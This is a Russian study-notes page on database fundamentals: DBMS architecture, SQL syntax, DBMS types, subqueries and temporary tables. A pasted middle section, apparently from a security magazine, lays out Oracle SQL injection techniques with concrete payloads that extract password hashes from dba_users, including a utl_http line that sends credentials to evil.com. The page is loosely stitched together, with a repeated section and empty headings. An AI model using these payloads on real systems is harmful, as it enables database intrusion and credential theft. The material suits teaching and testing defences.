Базы данных. Система управления б азами данных. Архитектура СУБД. — КиберПедия 

Организация стока поверхностных вод: Наибольшее количество влаги на земном шаре испаряется с поверхности морей и океанов (88‰)...

Индивидуальные и групповые автопоилки: для животных. Схемы и конструкции...

Базы данных. Система управления б азами данных. Архитектура СУБД.

2020-02-15 569
Базы данных. Система управления б азами данных. Архитектура СУБД. 0.00 из 5.00 0 оценок
Заказать работу

Базы данных. Система управления б азами данных. Архитектура СУБД.

 

Базы данных(БД) - это организованная структура, предназначенная для хранения, изменения и обработки взаимосвязанной информации, преимущественно больших объемов.

 

Система управления базами данных(СУБД) - совокупность языковых и программных средств, предназначенных для создания, ведения и совместного использования БД многими пользователями.

 

Архитектура баз данных предложенная исследовательской группой ANSI/SPARC включает три уровня: внутренний, концептуальный и внешний. В общих чертах они представляют собой следующее:

 

Внешний уровень - это индивидуальный уровень пользователя. У каждого пользователя есть свой язык общения.

Для прикладного программиста это, например, один из распространенных языков программирования. Для конечного пользователя это или специальный язык запросов. Или формы и меню, созданные специально с учетом требований к приложению.

 

Концептуальный уровень.

Концептуальное представление - это представление всей информации БД в несколько более абстрактной форме (как и случае внешнего представления) по сравнению с физическим способом хранения данных. Однако концептуальное представление существенно отличается от способа представления данных какому-либо отдельному пользователю. Вообще говоря, концептуальное представление - это представление данных такими, какие "они есть на самом деле", а не такими, какими вынужден их видеть пользователь в рамках, например, определенного языка или используемого аппаратного обеспечения.

 

Внутренний уровень

 

Внутреннее представление - это представление нижнего уровня всей БД; оно состоит из многих экземпляров каждого типа внутренней записи.

Термин "внутренняя запись" принадлежит терминологии ANSI/SPARC и означает конструкцию, называемую хранимой записью. Внутреннее представление так же, как внешнее и концептуальное, не связано с физическим уровнем, так как в нем не рассматриваются физические области устройства хранения, такие как цилиндры и дорожки. Другими словами, внутреннее представление предполагает бесконечное линейное адресное пространство; подробности того, как адресное пространство отображено на физическое устройство хранения, очень зависят от системы и умышленно не включены в общую архитектуру.

Внутреннее представление описывается с помощью внутренней схемы, которая определяет не только различные типы хранимых записей, но также существующие индексы, способы представления хранимых полей, физическую последовательность хранимых записей и т.д. Внутренняя схема пишется с использованием еще одного языка определения данных - внутреннего.

 

Операторы языка SQL: SELECT, CREATE DATABASE, CREATE TABLE

 

Язык SQL или Structured Query Language (язык структурированных запросов) предназначен для управления данными в системе реляционных баз данных.

 

SELECT используется для получения данных из определённой таблицы:

SELECT <col_name1>, <col_name2>, …

FROM <table_name>;

Следующей командой можно вывести все данные из таблицы:

SELECT * FROM <table_name>;

-----------------------------------------

CREATE DATABASE <database_name>;

-----------------------------------------

Создание новой таблицы

CREATE TABLE <table_name1> (

<col_name1> <col_type1>,

<col_name2> <col_type2>,

<col_name3> <col_type3>

PRIMARY KEY (<col_name1>),

FOREIGN KEY (<col_name2>) REFERENCES <table_name2>(<col_name2>)

);

Ограничения целостности при использовании CREATE TABLE

Может понадобиться создать ограничения для определённых столбцов в таблице. При создании таблицы можно задать следующие ограничения:

 

ячейка таблицы не может иметь значение NULL;

первичный ключ — PRIMARY KEY (col_name1, col_name2, …);

внешний ключ — FOREIGN KEY (col_namex1, …, col_namexn) REFERENCES table_name(col_namex1, …, col_namexn).

Можно задать больше одного первичного ключа. В этом случае получится составной первичный ключ.

 

Пример

Создайте таблицу «instructor»:

 

CREATE TABLE instructor (

ID CHAR(5),

name VARCHAR(20) NOT NULL,

dept_name VARCHAR(20),

salary NUMERIC(8,2),

PRIMARY KEY (ID),

FOREIGN KEY (dept_name) REFERENCES department(dept_name)

);

 


Операторы языка SQL: UCASE, UPPER, LCASE, LOWER, MID, LEN, С ONCAT.

Операторы языка SQL: POSITION, LENGTH, REPEAT, REPLACE, REVERSE, CASE, NATURAL

Типы данных в SQL.

 

Типы данных SQL разделяются на три группы:

— строковые;

— с плавающей точкой (дробные числа);

— целые числа, дата и время.

 

 

Метаданные.

 

Метаданные информация о другой информации, или данные, относящиеся к дополнительной информации о содержимом или объекте. Метаданные раскрывают сведения о признаках и свойствах, характеризующих какие-либо сущности, позволяющие автоматически искать и управлять ими в больших информационных потоках.

 

Каждая СУБД сохраняет метаданные обо всех сущностях базы данных.

 

В разных СУБД применяются разные названия для метаданных - системный каталог, словарь данных и др. Однако общим свойством всех современных реляционных СУБД является то, что каталог/словарь сам состоит из таблиц, а точнее - системных таблиц. В результате пользователь может обращаться к метаданным так же, как и к прикладным данным, используя инструкцию SELECT. Изменения же в каталоге/словаре производятся автоматически при выполнении пользователем инструкций, изменяющих состояние объектов базы данных. Системные таблицы не должны изменяться напрямую ни одним пользователем БД.

 

Метаданные могут представлять из себя следующее:

 

  • Использоваться для хранения информации обо всех объектах в системе (ID, имя объекта, тип объекта и прочие параметры).

Основная таблица для работы с метаданными.

  • Хранить в себе текст хранимых процедур, пользовательских функций, триггеров и просмотров (views).
  • Хранить в себе информацию о колонках каждой таблицы (имя, тип и пр.).

 

Типы СУБД.

 

http://juice-health.ru/programming/database/460-dbms

 

  • Flat File

База данных с двумерными файлами. Двухмерная модель наиболее простая. Каждая строка текста содержит одну запись обычно через запятую. Также могут быть использованы другие разделители. База данных может содержать записи без ссылок между ними. Она не может содержать несколько таблиц, как в реляционных БД. Для реализации двумерных файлов используется электронная таблица или текстовый процессор. Примерами базы данных с двумерными файлами являются Excel и filemaker.

  • Иерархическая

Иерархическая база данных состоит из записей, которые связаны друг с другом. Каждая запись-это набор полей, каждое из которых содержит одно значение. Иерархическая база данных устроена таким образом «родитель-ребенок». Для лучшего понимания, представьте, что это перевернутая елка. Иерархическая база данных представлена в виде коробки. Отношения между родителем и ребенком может быть один-к-одному или один-ко-многим". Родитель может иметь или не иметь стрелку, указывающую на ребенка, но ребенок должен иметь стрелку, указывающую в направлении своего родителя. Иерархическая база данных может не справиться с такой структурой данных как «многие-ко-многим», для них применяются реляционные базы данных. Примером иерархической базы данных является программа adabas (Адаптируемая база данных).

  • Реляционная

Реляционная база данных - это набор элементов, организованных в таблицы, состоящие из строк, называемых записями, и столбцов, называемых полями, с которых данные могут быть доступны в любое время. Реляционная база данных может быть доступна с использованием языков запросов таких как SQL. Запросы используются для создания, изменения или извлечения данных. В реляционной базе данные как правило, хранятся в виде таблиц. Каждая таблица имеет первичный ключ. В первичный ключ используется как уникальный идентификатор для каждой записи. Никакие две записи не могут иметь одинаковый первичный ключ. Понятие внешние ключи используется для установления отношения между двумя или более таблицами. Внешний ключ - это поле одной таблицы, который однозначно определяет строку в другой таблице. Он используется для перекрестных ссылок и связывание данных между таблицами. Примерами реляционной базы данных являются MySQL и SQL.

  • Сетевая

Сетевая база данных была создана для представления сложных данных более эффективно. Она похожа на иерархическую модель, но в этом случае потомок может иметь несколько родителей и наоборот. Она формирует общее граф или сеть иерархий. Схема, подсхемы, и язык управления данными являются ключевыми компонентами этой базы данных. Схема является концептуальным представлением базы данных в то время как подсхемы, содержат данные в базе данных. Язык управления данными определяет характеристики и структуру данных для того, чтобы манипулировать данными. В конечном итоге она была заменена на реляционную модель, что сделало хранение и изменение данные одновременно более простым. Примеры систем сетевых базы данных включает интегрированное хранилище данных (IDS) и интегрированные системы управления базами данных (IDMS).

  • Объектно-ориентированная

Как видно из названия, это база данных, состоит из объектов, используемый в объектно-ориентированном программировании. Эти базы данных хорошо работают с объектно-ориентированными языками, такими как Perl, C++, Java, smalltalk и другие. Похожие объекты группируются в класс и каждый объект определенного класса, называется экземпляром. Классы позволяют программисту определять данные, которые не включены в программу. Так как классы определяют только те данные, которые запускаются, они не смогут получить доступ к другим данным, таким образом исключается возможность повреждения данных и обеспечивается безопасность. Классы обмениваться данными между собой через сообщения, называемые методами. Они имеют свойство наследования, которое означает, что если класс определен, подкласс может наследовать свойства, не определяя его собственные методы. Это означает, что подкласс может реализовать тот же код. Это ускоряет разработку программ. Примеры объектно-ориентированных систем баз данных включают Versant.

  • Многомерная

Многомерная база данных тесно связана с оперативной аналитической обработкой, которая является частью бизнес-аналитики и хранилища данных. Интерактивная аналитическая обработка (OLAP) позволяет легко извлекать и просматривать данные через разные точки. Она может быть использован для доступа к многомерным данным. Многомерные базы данных могут быть визуализированы в виде кубов данных, представляющих различные размеры имеющихся данных. Она сочетает в себе преимущества иерархических и реляционных баз данных. Примеры многомерных баз данных включают Oracle Essbase и Microsoft SAS.

  • Объектно-реляционная

Объектно-реляционная база данных предлагает лучшее из обоих миров. Она обладает всеми преимуществами реляционной базы данных в сочетании с понятиями объектно-ориентированного программирования, такими как объекты, классы, наследование и полиморфизм. Она функционирует аналогично реляционным базам данных. Примеры включают IBM DB2.

  • Гибридная

Гибридная система представляет собой комбинацию из двух или более баз данных. Гибриды используются, когда один тип базы данных не является достаточным для обработки всех запросов. Она поддерживает хранение и на диске, и в памяти. При доступе к базе данных используется оперативная память, в то время как для хранения основной базы используется диск. При использовании оперативной памяти повышается производительность, в то время как данные на диске более долговечны и экономичны. Гибридная база данных сочетает в себе оба этих преимущества. Примеры включают ALTIBASE HDВ.

 

Типы операторов.

 

  • Операторы описания данных.
    • CREATE
    • DROP
  • Операторы задания прав доступа в базе данных
    • GRANT
    • REVOKE
  • Операторы транзакций и восстановления данных.
    • BEGIN
  • Операторы манипуляции данными
    • CREATE
    • DELETE
    • INSERT
    • UPDATE

 

Фильтрация данных.

 

Зачастую необходимо извлекать не все данные из БД, а только те, которые соответствуют определенному условию. Для фильтрации данных в команде SELECT применяется оператор WHERE, после которого указывается условие:

 

WHERE условие

Если условие истинно, то строка попадает в результирующую выборку. В качестве можно использовать операции сравнения, которые сравнивают два выражения:

 

=: сравнение на равенство;!=: сравнение на равенство; <>: сравнение на неравенство; <: меньше чем; >: больше чем; <=: меньше чем или равно; >=: больше чем или равно

 

К примеру, выберем всех товары, производителем которых является компания Samsung:

 

SELECT * FROM Products

WHERE Manufacturer = 'Samsung';

 

Критерий фильтрации может представлять и более сложное составное выражение. Например, найдем все товары, у которых совокупная стоимость больше 100 000:

 

SELECT * FROM Products

WHERE Price * ProductCount > 100000;

 

23.     Суммирование и фильтрация данных.


см оператор SUM и пункт 22

 

Связанные подзапросы.

 

Когда Вы используете подзапросы, Вы можете обратиться во вложенном подзапросе к таблицам из внешнего подзапроса. Например, как найти всех заказчиков на 3 октября:

 

SELECT * FROM Customers C

WHERE '1999-10-03' IN (

SELECT odate

FROM Orders O

WHERE O.cnum = C.cnum

)

 

Как это все работает?

В приведенном выше запросе C и O это псевдонимы таблиц. Так как значение в поле cnum внешнего запроса меняется, то внутренний запрос должен выполняться отдельно для каждой строки внешнего запроса. Строка внешнего запроса, для которой будет выполняться внутренний запрос, называется строкой-кандидатом.

 

Процедура оценки, выполняемая связанным запросом:

  1. Выбрать строку из таблицы, указанной во внешнем запросе. Это будет текущая строка-кандидат.
  2. Сохранить значения из этой строки-кандидата во временном буфере
  3. Выполнить подзапрос. Для отбора записей использовать строку-кандидат.
  4. Вычислить условие во внешнем запросе, на основе результатов внутреннего подзапроса, выполняемого в п.3. Определяется - отбирается ли строка-кандидат для вывода.
  5. Повторить процедуру для всех строк.

 

25.     Временные таблицы.

 таблицы могут быть крайне полезными, когда нам необходимо хранить различные временные данные (например, список товаров в чеке, до момента осуществления оплаты). Главное преимущество таких таблиц заключается в том, что они будет удалены сразу же после завершения клиентской сессии.

Пример:

Ниже приведён пример использования временной таблицы:

 

mysql> CREATE TEMPORARY TABLE SALES_TICKET_SUMMARY (

PRODUCT_NAME VARCHAR (100) NOT NULL,

PRODUCT_PRICE INT NOT NULL,

PRODUCT_AMOUNT INT NOT NULL DEFAULT 1

);

 

Теперь добавим данные в нашу таблицу, используя следующий запрос:

 

mysql> INSERT INTO SALES_TICKET_SUMMARY VALUES ('Milk', 10, 2);

 

На данный момент, наша таблица SALES_TICKET_SUMMARY содержит следующие записи:

 

+--------------+---------------+----------------+

| PRODUCT_NAME | PRODUCT_PRICE | PRODUCT_AMOUNT |

+--------------+---------------+----------------+

| Milk | 10 | 2 |

+--------------+---------------+----------------+

 

По умолчанию, после того как наша сессия будет закончена, данная таблица будет удалена.

Но, если мы хотим удалить временную таблицу до этого момента, то нам необходимо использовать команду DROP TABLE:

 

mysql> DROP TABLE SALES_TICKET_SUMMARY;

 

Попытка обратиться к данной таблице после этого приведёт к ошибке 1146:

 

mysql> SELECT * FROM SALES_TICKET_SUMMARY;

ERROR 1146 (42S02): Table 'sql_tutorial.SALES_TICKET_SUMMARY' does

 

26.     Модификация данных в таблицах.

Пользовательские функции.

 

Хранимые процедуры состоят из нескольких инструкций и имеют от нуля до нескольких входных параметров, но обычно не возвращают никаких параметров. В отличие от хранимых процедур, функции всегда возвращают одно значение. В этом разделе мы рассмотрим создание и использование определяемых пользователем функций (User Defined Functions - UDF).

 

Union SQL инъекция

Использование данной техники основано на применении оператора UNION, который позволяет объеденить результаты выполнения двух или более запросов

SELECT. Использование данной техники заключается

в добавлении нужного запроса SELECT при помощи

оператора UNION к первоначальному запросу.

Для корректности результирующего запроса, полученного при помощи оператора UNION, необходимо,

чтобы у двух выражений SELECT совпадало количество

и тип аргументов. В противном случае СУБД сгенерирует исключение. В зависимости от логики работы приложения либо будет выведено сообщение о возникшем при

работе с СУБД исключением, либо страница отобразится пользователю некорректно.

Первоначально злоумышлениик перебором определяет количество аргументов в SQL-запросе. Универсальным методом определения количества аргументов является использование оператора сортировки ORDER BY.

При несовпадении количества аргументов СУБД Oracle

выдает следующее сообщение.

ORA01789: query block has incorrect number of result columns

Для определения количества аргументов в качестве

уязвимого строкового параметра передает последовательно следующие значения.

запрос выполнен

‘ ORDER BY 1

запрос выполнен

‘ ORDER BY 2

запрос выполнен

‘ ORDER BY 3

возникло исключение

‘ ORDER BY 4

Таким образом, количество аргументов в SQL-запросе равно трем. На практике применяется не линейный, а бинарный поиск. Напомним, что время подбора количества аргументов при бинарном поиске равно

O(log(n)), где n – количество аргументов в запросе.

После определения количества аргументов перебором

определяется для каких аргументов задан constraint NOT

NULL и тип этих аргументов (числовой, строковый или

дата). В качестве остальных аргументов передается null.

возникло исключение

UNION SELECT ‘test’, null, null FROM dual

запрос выполнен

UNION SELECT null, ‘test’, null FROM dual

После определения количества аргументов и определения не нулевых аргументов (NOT NULL), а также их

типов (числовой, строковый и дата), в качестве второго параметра злоумышленник передает нужный SQL-запрос, который должен возвращать строку. Для получения хэша пароля пользователя SYS из таблицы dba_users

можно передать следующее выражение в качестве уязвимого строкового параметра.

‘ UNION SELECT null, (SELECT username || ‘’ || password

FROM dba_users WHERE username = ‘SYS’), null FROM dual

Errorbased SQLинъекция

Данная техника используется, когда приложение некорректно обрабатывает исключения, возникающие при

работе с СУБД, и сообщение о возникшем исключении

отображается пользователю. В СУБД Oracle есть уязвимые функции, которые отображают в сообщении о возникшем исключении часть входных параметров. К таким

функциям относятся XMLType() и ctxsys.drithsx.sn().

Используя данные функции, злоумышленник может построчно считывать информацию из таблицы БД

(например, хэши паролей из таблицы dba_users).

При использовании функции XMLType() SQL-инъекция выглядит следующим образом.

извлечение первой строки из dba_users

‘ AND (1)=UPPER(XMLType(‘<:’|| SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 1 ||’>’))

извлечение второй строки из dba_users

‘ AND (1)=UPPER(XMLType(‘<:’|| SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 2 ||’>’))

При использовании функции ctxsys.drithsx.sn() SQLинъекция выглядит следующим образом.

извлечение первой строки из dba_users

‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 1))

4 Защита информации. INSIDE № 2’2011

ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

извлечение второй строки из dba_users

‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 2))

Blind SQLинъекция

В случае если нельзя использовать Union и Errorbased SQL-инъекцию: результат выполнения запроса не

отображается пользователю либо приложение корректно обрабатывет исключения. Однако если при этом, модифицируя запрос, можно влиять на логику работы

приложения: при определенных входных данных некоторые страницы отображаются неправильно или запрос

возвращает только часть информации. В этом случе

можно использовать технику Blind SQL.

Составляется SQL-выражение, которое при истинном значении не нарушает логику работы приложения.

При ложном же значении возникает аномальное поведение в работе web-приложения: страницы неправильно отображаются либо возвращается только часть данных. С целью проверки логических условий в качестве

подобного SQL-выражения можно использовать следующее.

// INJECTION – SQLзапрос, который возвращает значение,

либо null

// null – страница некорректно отображается

AND NVL(INJECTION,0)!= 0

Для того чтобы выяснить, обладает ли текущий пользователь правами роли DBA, можно использовать следующую инъекцию.

если страница корректно отобразилась, пользователю

назначена роль DBA

Product 1‘ AND NVL((SELECT LENGTH(username) FROM

user_role_privs WHERE granted_role = ‘DBA’),0)!= 0

Для посимвольного извлечения данных из таблиц

БД можно использовать следующую инъекцию

извлечение первого символа

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),1,1)),0) = 65

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),1,1)),0) = 66

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),1,1)),0) = 67

извлечение второго символа

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),2,1)),0) = 65

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),2,1)),0) = 66

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),2,1)),0) = 67

Для ускорения посимвольного извлечения можно

использовать бинарный поиск.

Timebased SQLинъекция

Данная техника похожа на Blind SQL-инъекцию. Также составляется SQL-выражение, но анализируется не

возвращаемый результат, а время отклика сервера СУБД.

При ложном значении SQL-выражения время отклика

незначительно, а при истинном значеннии составляется несколько секунд. Используя данную технику можно

проверять логические условия, например наличие роли

DBA у текущего пользователя, а также посимвольно извлекать данные из таблиц БД. Time-based SQL-инъекция

выполняется медленне чем Blind SQL-инъекции.

Для внесения задержки обычно используется следующий SQL-запрос.

задержка в несколько секунд

SELECT count(*) FROM all_objects, all_objects

Таким образом, для посимвольного извлечения

данных из таблиц БД можно использовать следующую

инъекцию.

извлечение первого символа

Product 1‘ AND 0!=(select decode(substr(user,1,1),’A’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,1,1),’B’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,1,1),’C’,

(select count(*) from all_objects, all_objects),0) from dual)

извлечение второго символа

Product 1‘ AND 0!=(select decode(substr(user,2,1),’A’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,2,1),’B’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,2,1),’C’,

(select count(*) from all_objects, all_objects),0) from dual)

Как и в предыдущем случае, для ускорения посимвольного извлечения можно использовать бинарный поиск.

Outbound SQLинъекция

В случае если ни одна из вышеперечисленных техник эксплуатации SQL-инъекций не применима можно воспользоваться Out-bound техникой. Для применения данной техники необходим удаленный сервер, который находится под контролем злоумышленника,

либо доступ к директории на сервере СУБД. Техника заключается в следующем: злоумышленник направляет

вывод результата SQL-запроса на удаленный сервер, используя протоколы DNS, HTTP, SMTP, или осуществляет запись в файл, который расположен в доступной

для злоумышленника директории на сервере СУБД.

Используя пакет utl_http злоумышленник может направить данные из таблиц БД на удаленный сервер следующим образом.

--результата выполнения запроса передается

на http://evil.com

‘ AND 1=SELECT SUM(LENGTH(utl_http.request(‘http://ev

il.com/’||username||””||password)) FROM dba.users

Функция Sum() необходима для получения всех записей из таблицы dba_users. Стоит отметить, что в некоторых версиях Oracle в стандартной конфигурации

пакет utl_http доступен на выполнение роли PUBLIC.

Выявление SQL-инъекции.

Первым шагом в процессе выявления SQL-инъекции является определение способов передачи данных

в web-приложение:

● параметров, передаваемых при помощи GET- или

POST-методов;

● значений, содержащихся в Cookie;

● параметров HTTP-заголовка (таких как Referer и UserAgent).

После определения входных параметров необходимо определить корректность обработки их web-приложением. Модифицируя входные параметры, необходимо добиться возникновения исключения в web-приложении, результатом которого будет сообщение о возникшем исключении либо некорректно отображенная

страница или ответ, содержащий неполные (избыточные) данные.

Для тестирования страницы на наличие SQL-инъекции

можно выполнить последовательно следующие запросы.

страница отображается корректно

http://localhost:8080/catalog/show.jsp?name=Product 1

не выполнена сортировка данных

http://localhost:8080/catalog/show.jsp?name=Product 1’

AND 1=1

данные на странице не отображаются, т. к. условие

1 = 2 – ложно

http://localhost:8080/catalog/show.jsp?name=Product 1’

AND 1=2

В результате, параметр name на страницe show.jsp является уязвимым.

Для определения SQL-инъекций широко применяются инструментальные средства для автоматического

тестирования web-приложений на наличие уязвимостей: HP WebInspect, HP Scrawlr, IBM Rational AppScan,

SQLiX, Paros Proxy.

Инструментальные средства автоматически выполняют следующие проверки для передаваемых строковых параметров.

value – строковое значение при котором исключение

не возникает

value’ OR

value’ OR 5=5 OR ‘s’=’o

value’ AND 5=5 OR ‘s’=’o

value’ OR 5=0 OR ‘s’=’o

value’ AND 5=0 OR ‘s’=’o

Для числовых параметров выполняют следующие

проверки.

value – числовое значение при котором исключение

не возникает

0+value

value AND 5=5

value AND 5=0

value OR 5=5 OR 4=0

value OR 5=0 OR 4=0

В качестве способов передачи параметров можно задать GET- и POST-методы, Cookie, параметры HTTP-заголовка.

Многотабличные запросы.

Одна из наиболее важных особенностей запросов SQL - это их способность определять связи между многочисленными таблицами и выводить всю информацию из них в терминах этих связей, внутри одной команды. Этот вид операции называется – соединением (JOIN).

 

Чтобы понять, как в SQL реализуются многотабличные запросы, рассмотрим запрос, который соединяет данные из двух различных таблиц.

 

Составить список всех сотрудников, работающих в Минском отделении.

 

SELECT fname, lname, position, S.tel_no

 

FROM branch B, staff S

 

WHERE B.bno=S.bno AND city=‘Минск’;

 

При отработке запроса СУБД должна произвести ряд действий, связанных с соединением таблиц branch и staff. Так сначала просматривается столбец city с целью фильтрации строк со значениями отличными от значения ‘Минск’, далее для отфильтрованных строк таблицы определяются значения столбца bno как идентификаторов Минских отделений. После этого просматривается таблица staff F с целью выявления строк со значениями в столбце bno соответствующими идентификатору первого выявленного Минского офиса. В найденных строках оставляются значения столбцов указанных после ключевого слова SELECT. Далее эта же таблица просматривается для выявления строк соответствующих “второму” Минскому офису и т. д. до последнего. В итоге формируется таблица результатов с запрошенной информацией.

 

Отметим некоторые особенности многотабличных запросов. Как видно из примера, в многотабличном запросе часто используются полные имена столбцов, при этом в предложении FROM указываются псевдонимы таблиц, чтобы упростить обращение к столбцам по полному имени, а также обеспечить однозначность ссылок на столбцы.

 

Витрины.

Витрина данных (англ. Data Mart; другие варианты перевода: хранилище данных специализированное, киоск данных, рынок данных) — срез хранилища данных, представляющий собой массив тематической, узконаправленной информации, ориентированный, например, на пользователей одной рабочей группы или департамента.

Концепция витрин данных была предложена Forrester Research ещё в 1991 году. По мысли авторов, витрины данных — множество тематических баз данных (БД), содержащих информацию, относящуюся к отдельным аспектам деятельности организации.

Концепция имеет ряд несомненных достоинств:

· Аналитики видят и работают только с теми данными, которые им реально нужны.

· Целевая БД максимально приближена к конечному пользователю.

· Витрины данных обычно содержат тематические подмножества заранее агрегированных данных, их проще проектировать и настраивать.

· Для реализации витрин данных не требуется высокомощная вычислительная техника.

Но концепция витрин данных имеет и очень серьёзные пробелы. По существу, здесь предполагается реализация территориально распределённой информационной системы с мало контролируемой избыточностью, но не предлагается способов, как обеспечить целостность и непротиворечивость хранимых в ней данных.

Банк данных.

Банк данных (БнД) является современной формой организации хранения и доступа к информации.

Прикладные программы (приложения) в составе банков данных служат для обработки данных, вычислений и формирования выходных документов по заданной форме.

Ядром БнД является база данных (БД).

База данных (БД) обеспечивает хранение информации и представляет собой поименованную совокупность данных, организованных по определенным правилам, включающих общие принципы описания, хранения и манипулирования данными.

База данных находится под управлением определенной системы управления базой данных управления базой данных (СУБД), которая представляет собой пакет прикладных программ и совокупность языковых средств обработки данных (ЯОД), предназначенных для создания, сопровождения и использования данных.

Основными функциями банков данных являются:

хранение данных и их защита;

изменение (обновление, добавление и удаление) хранимых данных;

поиск и отбор данных по запросам пользователей;

обработка данных и вывод результатов.

 

Базы данных. Система управления б азами данных. Архитектура СУБД.

 

Базы данных(БД) - это организованная структура, предназначенная для хранения, изменения и обработки взаимосвязанной информации, преимущественно больших объемов.

 

Система управления базами данных(СУБД) - совокупность языковых и программных средств, предназначенных для создания, ведения и совместного использования БД многими пользователями.

 

Архитектура баз данных предложенная исследовательской группой ANSI/SPARC включает три уровня: внутренний, концептуальный и внешний. В общих чертах они представляют собой следующее:

 

Внешний уровень - это индивидуальный уровень пользователя. У каждого пользователя есть свой язык общения.

Для прикладного программиста это, например, один из распространенных языков программирования. Для конечного пользователя это или специальный язык запросов. Или формы и меню, созданные специально с учетом требований к приложению.

 

Концептуальный уровень.

Концептуальное представление - это представление всей информации БД в несколько более абстрактной форме (как и случае внешнего представления) по сравнению с физическим способом хранения данных. Однако концептуальное представление существенно отличается от способа представления данных какому-либо отдельному пользователю. Вообще говоря, концептуальное представление - это представление данных такими, какие "они есть на самом деле", а не такими, какими вынужден их видеть пользователь в рамках, например, определенного языка или используемого аппаратного обеспечения.

 

Внутренний уровень

 

Внутреннее представление - это представление нижнего уровня всей БД; оно состоит из многих экземпляров каждого типа внутренней записи.

Термин "внутренняя запись" принадлежит терминологии ANSI/SPARC и означает конструкцию, называемую хранимой записью. Внутреннее представление так же, как внешнее и концептуальное, не связано с физическим уровнем, так как в нем не рассматриваются физические области устройства хранения, такие как цилиндры и дорожки. Другими словами, внутреннее представление предполагает бесконечное линейное адресное пространство; подробности того, как адресное пространство отображено на физическое устройство хранения, очень зависят от системы и умышленно не включены в общую архитектуру.

Внутреннее представление описывается с помощью внутренней схемы, которая определяет не только различные типы хранимых записей, но также существующие индексы, способы представления хранимых полей, физическую последовательность хранимых записей и т.д. Внутренняя схема пишется с использованием еще одного языка определения данных - внутреннего.

 


Поделиться с друзьями:

История развития пистолетов-пулеметов: Предпосылкой для возникновения пистолетов-пулеметов послужила давняя тенденция тяготения винтовок...

Поперечные профили набережных и береговой полосы: На городских территориях берегоукрепление проектируют с учетом технических и экономических требований, но особое значение придают эстетическим...

Механическое удерживание земляных масс: Механическое удерживание земляных масс на склоне обеспечивают контрфорсными сооружениями различных конструкций...

Архитектура электронного правительства: Единая архитектура – это методологический подход при создании системы управления государства, который строится...



© cyberpedia.su 2017-2024 - Не является автором материалов. Исключительное право сохранено за автором текста.
Если вы не хотите, чтобы данный материал был у нас на сайте, перейдите по ссылке: Нарушение авторских прав. Мы поможем в написании вашей работы!

0.338 с.